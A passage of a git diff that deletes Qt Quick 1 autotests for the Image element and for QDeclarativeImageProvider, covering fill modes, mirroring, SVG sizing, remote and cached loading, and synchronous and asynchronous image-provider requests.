qobject_cast(component.create()); - QVERIFY(obj != 0); - - obj->setProperty("width", width); - obj->setProperty("height", height); - obj->setFillMode((QDeclarative1Image::FillMode)fillMode); - obj->setProperty("mirror", true); - - QGraphicsScene scene; - scene.addItem(qobject_cast(obj)); - QPixmap screenshot(width, height); - screenshot.fill(); - QPainter p_screenshot(&screenshot); - scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height)); - - QPixmap srcPixmap; - QVERIFY(srcPixmap.load(SRCDIR "/data/heart200.png")); - - QPixmap expected(width, height); - expected.fill(); - QPainter p_e(&expected); - QTransform transform; - transform.translate(width, 0).scale(-1, 1.0); - p_e.setTransform(transform); - - switch (fillMode) { - case QDeclarative1Image::Stretch: - p_e.drawPixmap(QRect(0, 0, width, height), srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height())); - break; - case QDeclarative1Image::PreserveAspectFit: - QEXPECT_FAIL("", "QTBUG-19538", Continue); - p_e.drawPixmap(QRect(25, 0, width / (width/height), height), srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height())); - break; - case QDeclarative1Image::PreserveAspectCrop: - { - qreal ratio = width/srcPixmap.width(); // width is the longer side - QRect rect(0, 0, srcPixmap.width()*ratio, srcPixmap.height()*ratio); - rect.moveCenter(QRect(0, 0, width, height).center()); - p_e.drawPixmap(rect, srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height())); - break; - } - case QDeclarative1Image::Tile: - p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap); - break; - case QDeclarative1Image::TileVertically: - transform.scale(width / srcPixmap.width(), 1.0); - p_e.setTransform(transform); - p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap); - break; - case QDeclarative1Image::TileHorizontally: - transform.scale(1.0, height / srcPixmap.height()); - p_e.setTransform(transform); - p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap); - break; - } - - QCOMPARE(screenshot, expected); - - delete obj; -} - -void tst_qdeclarativeimage::mirror_data() -{ - QTest::addColumn("fillMode"); - - QTest::newRow("Stretch") << int(QDeclarative1Image::Stretch); - QTest::newRow("PreserveAspectFit") << int(QDeclarative1Image::PreserveAspectFit); - QTest::newRow("PreserveAspectCrop") << int(QDeclarative1Image::PreserveAspectCrop); - QTest::newRow("Tile") << int(QDeclarative1Image::Tile); - QTest::newRow("TileVertically") << int(QDeclarative1Image::TileVertically); - QTest::newRow("TileHorizontally") << int(QDeclarative1Image::TileHorizontally); -} - -void tst_qdeclarativeimage::svg() -{ - QString src = QUrl::fromLocalFile(SRCDIR "/data/heart.svg").toString(); - QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; sourceSize.width: 300; sourceSize.height: 300 }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->pixmap().width(), 300); - QCOMPARE(obj->pixmap().height(), 300); - QCOMPARE(obj->width(), 300.0); - QCOMPARE(obj->height(), 300.0); -#if defined(Q_OS_LINUX) - QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart.png")); -#elif defined(Q_OS_WIN32) - QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart-win32.png")); -#endif - - obj->setSourceSize(QSize(200,200)); - - QCOMPARE(obj->pixmap().width(), 200); - QCOMPARE(obj->pixmap().height(), 200); - QCOMPARE(obj->width(), 200.0); - QCOMPARE(obj->height(), 200.0); -#if defined(Q_OS_LINUX) - QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart200.png")); -#elif defined(Q_OS_WIN32) - QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart200-win32.png")); -#endif - delete obj; -} - -void tst_qdeclarativeimage::geometry_data() -{ - QTest::addColumn("fillMode"); - QTest::addColumn("explicitWidth"); - QTest::addColumn("explicitHeight"); - QTest::addColumn("itemWidth"); - QTest::addColumn("paintedWidth"); - QTest::addColumn("boundingWidth"); - QTest::addColumn("itemHeight"); - QTest::addColumn("paintedHeight"); - QTest::addColumn("boundingHeight"); - - // tested image has width 200, height 100 - - // bounding rect and item rect are equal with fillMode PreserveAspectFit, painted rect may be smaller if the aspect ratio doesn't match - QTest::newRow("PreserveAspectFit") << "PreserveAspectFit" << false << false << 200.0 << 200.0 << 200.0 << 100.0 << 100.0 << 100.0; - QTest::newRow("PreserveAspectFit explicit width 300") << "PreserveAspectFit" << true << false << 300.0 << 200.0 << 300.0 << 100.0 << 100.0 << 100.0; - QTest::newRow("PreserveAspectFit explicit height 400") << "PreserveAspectFit" << false << true << 200.0 << 200.0 << 200.0 << 400.0 << 100.0 << 400.0; - QTest::newRow("PreserveAspectFit explicit width 300, height 400") << "PreserveAspectFit" << true << true << 300.0 << 300.0 << 300.0 << 400.0 << 150.0 << 400.0; - - // bounding rect and painted rect are equal with fillMode PreserveAspectCrop, item rect may be smaller if the aspect ratio doesn't match - QTest::newRow("PreserveAspectCrop") << "PreserveAspectCrop" << false << false << 200.0 << 200.0 << 200.0 << 100.0 << 100.0 << 100.0; - QTest::newRow("PreserveAspectCrop explicit width 300") << "PreserveAspectCrop" << true << false << 300.0 << 300.0 << 300.0 << 100.0 << 150.0 << 150.0; - QTest::newRow("PreserveAspectCrop explicit height 400") << "PreserveAspectCrop" << false << true << 200.0 << 800.0 << 800.0 << 400.0 << 400.0 << 400.0; - QTest::newRow("PreserveAspectCrop explicit width 300, height 400") << "PreserveAspectCrop" << true << true << 300.0 << 800.0 << 800.0 << 400.0 << 400.0 << 400.0; - - // bounding rect, painted rect and item rect are equal in stretching and tiling images - QStringList fillModes; - fillModes << "Stretch" << "Tile" << "TileVertically" << "TileHorizontally"; - foreach (QString fillMode, fillModes) { - QTest::newRow(fillMode.toLatin1()) << fillMode << false << false << 200.0 << 200.0 << 200.0 << 100.0 << 100.0 << 100.0; - QTest::newRow(QString(fillMode + " explicit width 300").toLatin1()) << fillMode << true << false << 300.0 << 300.0 << 300.0 << 100.0 << 100.0 << 100.0; - QTest::newRow(QString(fillMode + " explicit height 400").toLatin1()) << fillMode << false << true << 200.0 << 200.0 << 200.0 << 400.0 << 400.0 << 400.0; - QTest::newRow(QString(fillMode + " explicit width 300, height 400").toLatin1()) << fillMode << true << true << 300.0 << 300.0 << 300.0 << 400.0 << 400.0 << 400.0; - } -} - -void tst_qdeclarativeimage::geometry() -{ - QFETCH(QString, fillMode); - QFETCH(bool, explicitWidth); - QFETCH(bool, explicitHeight); - QFETCH(double, itemWidth); - QFETCH(double, itemHeight); - QFETCH(double, paintedWidth); - QFETCH(double, paintedHeight); - QFETCH(double, boundingWidth); - QFETCH(double, boundingHeight); - - QString src = QUrl::fromLocalFile(SRCDIR "/data/rect.png").toString(); - QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; fillMode: Image." + fillMode + "; "; - - if (explicitWidth) - componentStr.append("width: 300; "); - if (explicitHeight) - componentStr.append("height: 400; "); - componentStr.append("}"); - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - - QCOMPARE(obj->width(), itemWidth); - QCOMPARE(obj->paintedWidth(), paintedWidth); - QCOMPARE(obj->boundingRect().width(), boundingWidth); - - QCOMPARE(obj->height(), itemHeight); - QCOMPARE(obj->paintedHeight(), paintedHeight); - QCOMPARE(obj->boundingRect().height(), boundingHeight); - delete obj; -} - -void tst_qdeclarativeimage::big() -{ - // If the JPEG loader does not implement scaling efficiently, it would - // have to build a 400 MB image. That would be a bug in the JPEG loader. - - QString src = QUrl::fromLocalFile(SRCDIR "/data/big.jpeg").toString(); - QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; width: 100; sourceSize.height: 256 }"; - - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->pixmap().width(), 256); - QCOMPARE(obj->pixmap().height(), 256); - QCOMPARE(obj->width(), 100.0); - QCOMPARE(obj->height(), 256.0); - QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/big256.png")); - - delete obj; -} - -void tst_qdeclarativeimage::tiling_QTBUG_6716() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/tiling.qml")); - canvas->show(); - qApp->processEvents(); - - QDeclarative1Image *vTiling = findItem(canvas->rootObject(), "vTiling"); - QDeclarative1Image *hTiling = findItem(canvas->rootObject(), "hTiling"); - - QVERIFY(vTiling != 0); - QVERIFY(hTiling != 0); - - { - QPixmap pm(vTiling->width(), vTiling->height()); - QPainter p(&pm); - vTiling->paint(&p, 0, 0); - - QImage img = pm.toImage(); - for (int x = 0; x < vTiling->width(); ++x) { - for (int y = 0; y < vTiling->height(); ++y) { - QVERIFY(img.pixel(x, y) == qRgb(0, 255, 0)); - } - } - } - - { - QPixmap pm(hTiling->width(), hTiling->height()); - QPainter p(&pm); - hTiling->paint(&p, 0, 0); - - QImage img = pm.toImage(); - for (int x = 0; x < hTiling->width(); ++x) { - for (int y = 0; y < hTiling->height(); ++y) { - QVERIFY(img.pixel(x, y) == qRgb(0, 255, 0)); - } - } - } - - delete canvas; -} - -void tst_qdeclarativeimage::noLoading() -{ - TestHTTPServer server(SERVER_PORT); - QVERIFY(server.isValid()); - server.serveDirectory(SRCDIR "/data"); - server.addRedirect("oldcolors.png", SERVER_ADDR "/colors.png"); - - QString componentStr = "import QtQuick 1.1\nImage { source: srcImage; cache: true }"; - QDeclarativeContext *ctxt = engine.rootContext(); - ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/heart.png")); - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QVERIFY(obj->status() == QDeclarative1Image::Ready); - - QSignalSpy sourceSpy(obj, SIGNAL(sourceChanged(const QUrl &))); - QSignalSpy progressSpy(obj, SIGNAL(progressChanged(qreal))); - QSignalSpy statusSpy(obj, SIGNAL(statusChanged(QDeclarative1ImageBase::Status))); - - // Loading local file - ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/green.png")); - QTRY_VERIFY(obj->status() == QDeclarative1Image::Ready); - QTRY_VERIFY(obj->progress() == 1.0); - QTRY_COMPARE(sourceSpy.count(), 1); - QTRY_COMPARE(progressSpy.count(), 0); - QTRY_COMPARE(statusSpy.count(), 0); - - // Loading remote file - ctxt->setContextProperty("srcImage", QString(SERVER_ADDR) + "/rect.png"); - QTRY_VERIFY(obj->status() == QDeclarative1Image::Loading); - QTRY_VERIFY(obj->progress() == 0.0); - QTRY_VERIFY(obj->status() == QDeclarative1Image::Ready); - QTRY_VERIFY(obj->progress() == 1.0); - QTRY_COMPARE(sourceSpy.count(), 2); - QTRY_COMPARE(progressSpy.count(), 2); - QTRY_COMPARE(statusSpy.count(), 2); - - // Loading remote file again - should not go through 'Loading' state. - ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/green.png")); - ctxt->setContextProperty("srcImage", QString(SERVER_ADDR) + "/rect.png"); - QTRY_VERIFY(obj->status() == QDeclarative1Image::Ready); - QTRY_VERIFY(obj->progress() == 1.0); - QTRY_COMPARE(sourceSpy.count(), 4); - QTRY_COMPARE(progressSpy.count(), 2); - QTRY_COMPARE(statusSpy.count(), 2); - - delete obj; -} - -void tst_qdeclarativeimage::paintedWidthHeight() -{ - { - QString src = QUrl::fromLocalFile(SRCDIR "/data/heart.png").toString(); - QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; width: 200; height: 25; fillMode: Image.PreserveAspectFit }"; - - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->pixmap().width(), 300); - QCOMPARE(obj->pixmap().height(), 300); - QCOMPARE(obj->width(), 200.0); - QCOMPARE(obj->height(), 25.0); - QCOMPARE(obj->paintedWidth(), 25.0); - QCOMPARE(obj->paintedHeight(), 25.0); - QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart.png")); - - delete obj; - } - - { - QString src = QUrl::fromLocalFile(SRCDIR "/data/heart.png").toString(); - QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; width: 26; height: 175; fillMode: Image.PreserveAspectFit }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->pixmap().width(), 300); - QCOMPARE(obj->pixmap().height(), 300); - QCOMPARE(obj->width(), 26.0); - QCOMPARE(obj->height(), 175.0); - QCOMPARE(obj->paintedWidth(), 26.0); - QCOMPARE(obj->paintedHeight(), 26.0); - QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart.png")); - - delete obj; - } -} - -void tst_qdeclarativeimage::sourceSize_QTBUG_14303() -{ - QString componentStr = "import QtQuick 1.0\nImage { source: srcImage }"; - QDeclarativeContext *ctxt = engine.rootContext(); - ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/heart200.png")); - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - - QSignalSpy sourceSizeSpy(obj, SIGNAL(sourceSizeChanged())); - - QTRY_VERIFY(obj != 0); - QTRY_VERIFY(obj->status() == QDeclarative1Image::Ready); - - QTRY_COMPARE(obj->sourceSize().width(), 200); - QTRY_COMPARE(obj->sourceSize().height(), 200); - QTRY_COMPARE(sourceSizeSpy.count(), 0); - - ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/colors.png")); - QTRY_COMPARE(obj->sourceSize().width(), 120); - QTRY_COMPARE(obj->sourceSize().height(), 120); - QTRY_COMPARE(sourceSizeSpy.count(), 1); - - ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/heart200.png")); - QTRY_COMPARE(obj->sourceSize().width(), 200); - QTRY_COMPARE(obj->sourceSize().height(), 200); - QTRY_COMPARE(sourceSizeSpy.count(), 2); - - delete obj; -} - -void tst_qdeclarativeimage::sourceSize_QTBUG_16389() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/qtbug_16389.qml")); - canvas->show(); - qApp->processEvents(); - - QDeclarative1Image *image = findItem(canvas->rootObject(), "iconImage"); - QDeclarativeItem *handle = findItem(canvas->rootObject(), "blueHandle"); - - QCOMPARE(image->sourceSize().width(), 200); - QCOMPARE(image->sourceSize().height(), 200); - QCOMPARE(image->paintedWidth(), 0.0); - QCOMPARE(image->paintedHeight(), 0.0); - - handle->setY(20); - - QCOMPARE(image->sourceSize().width(), 200); - QCOMPARE(image->sourceSize().height(), 200); - QCOMPARE(image->paintedWidth(), 20.0); - QCOMPARE(image->paintedHeight(), 20.0); -} - -static int numberOfWarnings = 0; -static void checkWarnings(QtMsgType, const char *) -{ - numberOfWarnings++; -} - -// QTBUG-15690 -void tst_qdeclarativeimage::nullPixmapPaint() -{ - QString componentStr = QString("import QtQuick 1.0\nImage { width: 10; height:10; fillMode: Image.PreserveAspectFit; source: \"") - + SERVER_ADDR + QString("/no-such-file.png\" }"); - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *image = qobject_cast(component.create()); - - QTRY_VERIFY(image != 0); - - QtMsgHandler previousMsgHandler = qInstallMsgHandler(checkWarnings); - - QPixmap pm(100, 100); - QPainter p(&pm); - - // used to print "QTransform::translate with NaN called" - image->paint(&p, 0, 0); - qInstallMsgHandler(previousMsgHandler); - QVERIFY(numberOfWarnings == 0); - delete image; -} - -void tst_qdeclarativeimage::resetSourceSize() -{ - QString src = QUrl::fromLocalFile(SRCDIR "/data/heart200.png").toString(); - QString componentStr = "import QtQuick 1.1\nImage { function reset() { sourceSize = undefined }\nsource: \"" + src + "\"; sourceSize: Qt.size(100,100) }"; - - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->pixmap().width(), 100); - QCOMPARE(obj->pixmap().height(), 100); - QCOMPARE(obj->sourceSize().height(), 100); - QCOMPARE(obj->sourceSize().width(), 100); - - QMetaObject::invokeMethod(obj, "reset"); - QCOMPARE(obj->pixmap().width(), 200); - QCOMPARE(obj->pixmap().height(), 200); - QCOMPARE(obj->sourceSize().height(), 200); - QCOMPARE(obj->sourceSize().width(), 200); -} - -void tst_qdeclarativeimage::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 1.1; Image { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; Image { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; -} - -void tst_qdeclarativeimage::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("mirror") << "mirror: true" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Image.mirror\" is not available in QtQuick 1.0.\n"; - - QTest::newRow("cache") << "cache: true" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Image.cache\" is not available in QtQuick 1.0.\n"; -} - -/* - Find an item with the specified objectName. If index is supplied then the - item must also evaluate the {index} expression equal to index -*/ -template -T *tst_qdeclarativeimage::findItem(QGraphicsObject *parent, const QString &objectName, int index) -{ - const QMetaObject &mo = T::staticMetaObject; - //qDebug() << parent->childItems().count() << "children"; - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *item = qobject_cast(parent->childItems().at(i)); - if(!item) - continue; - //qDebug() << "try" << item; - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) { - if (index != -1) { - QDeclarativeExpression e(qmlContext(item), item, "index"); - if (e.evaluate().toInt() == index) - return static_cast(item); - } else { - return static_cast(item); - } - } - item = findItem(item, objectName, index); - if (item) - return static_cast(item); - } - - return 0; -} - -QTEST_MAIN(tst_qdeclarativeimage) - -#include "tst_qdeclarativeimage.moc" diff --git a/tests/auto/qtquick1/qdeclarativeimageprovider/qdeclarativeimageprovider.pro b/tests/auto/qtquick1/qdeclarativeimageprovider/qdeclarativeimageprovider.pro deleted file mode 100644 index ec1d87e589..0000000000 --- a/tests/auto/qtquick1/qdeclarativeimageprovider/qdeclarativeimageprovider.pro +++ /dev/null @@ -1,14 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeimageprovider -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativeimageprovider.cpp - -# QMAKE_CXXFLAGS = -fprofile-arcs -ftest-coverage -# LIBS += -lgcov - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private declarative-private qtquick1-private network testlib diff --git a/tests/auto/qtquick1/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp b/tests/auto/qtquick1/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp deleted file mode 100644 index a11103293c..0000000000 --- a/tests/auto/qtquick1/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp +++ /dev/null @@ -1,426 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include - -Q_DECLARE_METATYPE(QDeclarativeImageProvider*); - -class tst_qdeclarativeimageprovider : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativeimageprovider() - { - } - -private slots: - void requestImage_sync_data(); - void requestImage_sync(); - void requestImage_async_data(); - void requestImage_async(); - - void requestPixmap_sync_data(); - void requestPixmap_sync(); - void requestPixmap_async(); - - void removeProvider_data(); - void removeProvider(); - - void threadTest(); - -private: - QString newImageFileName() const; - void fillRequestTestsData(const QString &id); - void runTest(bool async, QDeclarativeImageProvider *provider); -}; - - -class TestQImageProvider : public QDeclarativeImageProvider -{ -public: - TestQImageProvider(bool *deleteWatch = 0) - : QDeclarativeImageProvider(Image), deleteWatch(deleteWatch) - { - } - - ~TestQImageProvider() - { - if (deleteWatch) - *deleteWatch = true; - } - - QImage requestImage(const QString &id, QSize *size, const QSize& requestedSize) - { - lastImageId = id; - - if (id == QLatin1String("no-such-file.png")) - return QImage(); - - int width = 100; - int height = 100; - QImage image(width, height, QImage::Format_RGB32); - if (size) - *size = QSize(width, height); - if (requestedSize.isValid()) - image = image.scaled(requestedSize); - return image; - } - - bool *deleteWatch; - QString lastImageId; -}; -Q_DECLARE_METATYPE(TestQImageProvider*); - - -class TestQPixmapProvider : public QDeclarativeImageProvider -{ -public: - TestQPixmapProvider(bool *deleteWatch = 0) - : QDeclarativeImageProvider(Pixmap), deleteWatch(deleteWatch) - { - } - - ~TestQPixmapProvider() - { - if (deleteWatch) - *deleteWatch = true; - } - - QPixmap requestPixmap(const QString &id, QSize *size, const QSize& requestedSize) - { - lastImageId = id; - - if (id == QLatin1String("no-such-file.png")) - return QPixmap(); - - int width = 100; - int height = 100; - QPixmap image(width, height); - if (size) - *size = QSize(width, height); - if (requestedSize.isValid()) - image = image.scaled(requestedSize); - return image; - } - - bool *deleteWatch; - QString lastImageId; -}; -Q_DECLARE_METATYPE(TestQPixmapProvider*); - - -QString tst_qdeclarativeimageprovider::newImageFileName() const -{ - // need to generate new filenames each time or else images are loaded - // from cache and we won't get loading status changes when testing - // async loading - static int count = 0; - return QString("image://test/image-%1.png").arg(count++); -} - -void tst_qdeclarativeimageprovider::fillRequestTestsData(const QString &id) -{ - QTest::addColumn("source"); - QTest::addColumn("imageId"); - QTest::addColumn("properties"); - QTest::addColumn("size"); - QTest::addColumn("error"); - - QString fileName = newImageFileName(); - QTest::newRow(QTest::toString(id + " simple test")) - << "image://test/" + fileName << fileName << "" << QSize(100,100) << ""; - - fileName = newImageFileName(); - QTest::newRow(QTest::toString(id + " simple test with capitalization"))//As it's a URL, should make no difference - << "image://Test/" + fileName << fileName << "" << QSize(100,100) << ""; - - fileName = newImageFileName(); - QTest::newRow(QTest::toString(id + " url with no id")) - << "image://test/" + fileName << "" + fileName << "" << QSize(100,100) << ""; - - fileName = newImageFileName(); - QTest::newRow(QTest::toString(id + " url with path")) - << "image://test/test/path" + fileName << "test/path" + fileName << "" << QSize(100,100) << ""; - - fileName = newImageFileName(); - QTest::newRow(QTest::toString(id + " url with fragment")) - << "image://test/faq.html?#question13" + fileName << "faq.html?#question13" + fileName << "" << QSize(100,100) << ""; - - fileName = newImageFileName(); - QTest::newRow(QTest::toString(id + " url with query")) - << "image://test/cgi-bin/drawgraph.cgi?type=pie&color=green" + fileName << "cgi-bin/drawgraph.cgi?type=pie&color=green" + fileName - << "" << QSize(100,100) << ""; - - fileName = newImageFileName(); - QTest::newRow(QTest::toString(id + " scaled image")) - << "image://test/" + fileName << fileName << "sourceSize: \"80x30\"" << QSize(80,30) << ""; - - QTest::newRow(QTest::toString(id + " missing")) - << "image://test/no-such-file.png" << "no-such-file.png" << "" << QSize(100,100) - << "file::2:1: QML Image: Failed to get image from provider: image://test/no-such-file.png"; - - QTest::newRow(QTest::toString(id + " unknown provider")) - << "image://bogus/exists.png" << "" << "" << QSize() - << "file::2:1: QML Image: Failed to get image from provider: image://bogus/exists.png"; -} - -void tst_qdeclarativeimageprovider::runTest(bool async, QDeclarativeImageProvider *provider) -{ - QFETCH(QString, source); - QFETCH(QString, imageId); - QFETCH(QString, properties); - QFETCH(QSize, size); - QFETCH(QString, error); - - if (!error.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, error.toUtf8()); - - QDeclarativeEngine engine; - - engine.addImageProvider("test", provider); - QVERIFY(engine.imageProvider("test") != 0); - - QString componentStr = "import QtQuick 1.0\nImage { source: \"" + source + "\"; " - + (async ? "asynchronous: true; " : "") - + properties + " }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - - if (async) - QTRY_VERIFY(obj->status() == QDeclarative1Image::Loading); - - QCOMPARE(obj->source(), QUrl(source)); - - if (error.isEmpty()) { - if (async) - QTRY_VERIFY(obj->status() == QDeclarative1Image::Ready); - else - QVERIFY(obj->status() == QDeclarative1Image::Ready); - if (QByteArray(QTest::currentDataTag()).startsWith("qimage")) - QCOMPARE(static_cast(provider)->lastImageId, imageId); - else - QCOMPARE(static_cast(provider)->lastImageId, imageId); - - QCOMPARE(obj->width(), qreal(size.width())); - QCOMPARE(obj->height(), qreal(size.height())); - QCOMPARE(obj->pixmap().width(), size.width()); - QCOMPARE(obj->pixmap().height(), size.height()); - QCOMPARE(obj->fillMode(), QDeclarative1Image::Stretch); - QCOMPARE(obj->progress(), 1.0); - } else { - if (async) - QTRY_VERIFY(obj->status() == QDeclarative1Image::Error); - else - QVERIFY(obj->status() == QDeclarative1Image::Error); - } - - delete obj; -} - -void tst_qdeclarativeimageprovider::requestImage_sync_data() -{ - fillRequestTestsData("qimage|sync"); -} - -void tst_qdeclarativeimageprovider::requestImage_sync() -{ - bool deleteWatch = false; - runTest(false, new TestQImageProvider(&deleteWatch)); - QVERIFY(deleteWatch); -} - -void tst_qdeclarativeimageprovider::requestImage_async_data() -{ - fillRequestTestsData("qimage|async"); -} - -void tst_qdeclarativeimageprovider::requestImage_async() -{ - bool deleteWatch = false; - runTest(true, new TestQImageProvider(&deleteWatch)); - QVERIFY(deleteWatch); -} - -void tst_qdeclarativeimageprovider::requestPixmap_sync_data() -{ - fillRequestTestsData("qpixmap"); -} - -void tst_qdeclarativeimageprovider::requestPixmap_sync() -{ - bool deleteWatch = false; - runTest(false, new TestQPixmapProvider(&deleteWatch)); - QVERIFY(deleteWatch); -} - -void tst_qdeclarativeimageprovider::requestPixmap_async() -{ - QDeclarativeEngine engine; - QDeclarativeImageProvider *provider = new TestQPixmapProvider(); - - engine.addImageProvider("test", provider); - QVERIFY(engine.imageProvider("test") != 0); - - // pixmaps are loaded synchronously regardless of 'asynchronous' value - QString componentStr = "import QtQuick 1.0\nImage { asynchronous: true; source: \"image://test/pixmap-async-test.png\" }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - - delete obj; -} - -void tst_qdeclarativeimageprovider::removeProvider_data() -{ - QTest::addColumn("provider"); - - QTest::newRow("qimage") << static_cast(new TestQImageProvider); - QTest::newRow("qpixmap") << static_cast(new TestQPixmapProvider); -} - -void tst_qdeclarativeimageprovider::removeProvider() -{ - QFETCH(QDeclarativeImageProvider*, provider); - - QDeclarativeEngine engine; - - engine.addImageProvider("test", provider); - QVERIFY(engine.imageProvider("test") != 0); - - // add provider, confirm it works - QString componentStr = "import QtQuick 1.0\nImage { source: \"" + newImageFileName() + "\" }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - - QCOMPARE(obj->status(), QDeclarative1Image::Ready); - - // remove the provider and confirm - QString fileName = newImageFileName(); - QString error("file::2:1: QML Image: Failed to get image from provider: " + fileName); - QTest::ignoreMessage(QtWarningMsg, error.toUtf8()); - - engine.removeImageProvider("test"); - - obj->setSource(QUrl(fileName)); - QCOMPARE(obj->status(), QDeclarative1Image::Error); - - delete obj; -} - -class TestThreadProvider : public QDeclarativeImageProvider -{ - public: - TestThreadProvider() : QDeclarativeImageProvider(Image), ok(false) {} - - ~TestThreadProvider() {} - - QImage requestImage(const QString &id, QSize *size, const QSize& requestedSize) - { - mutex.lock(); - if (!ok) - cond.wait(&mutex); - mutex.unlock(); - 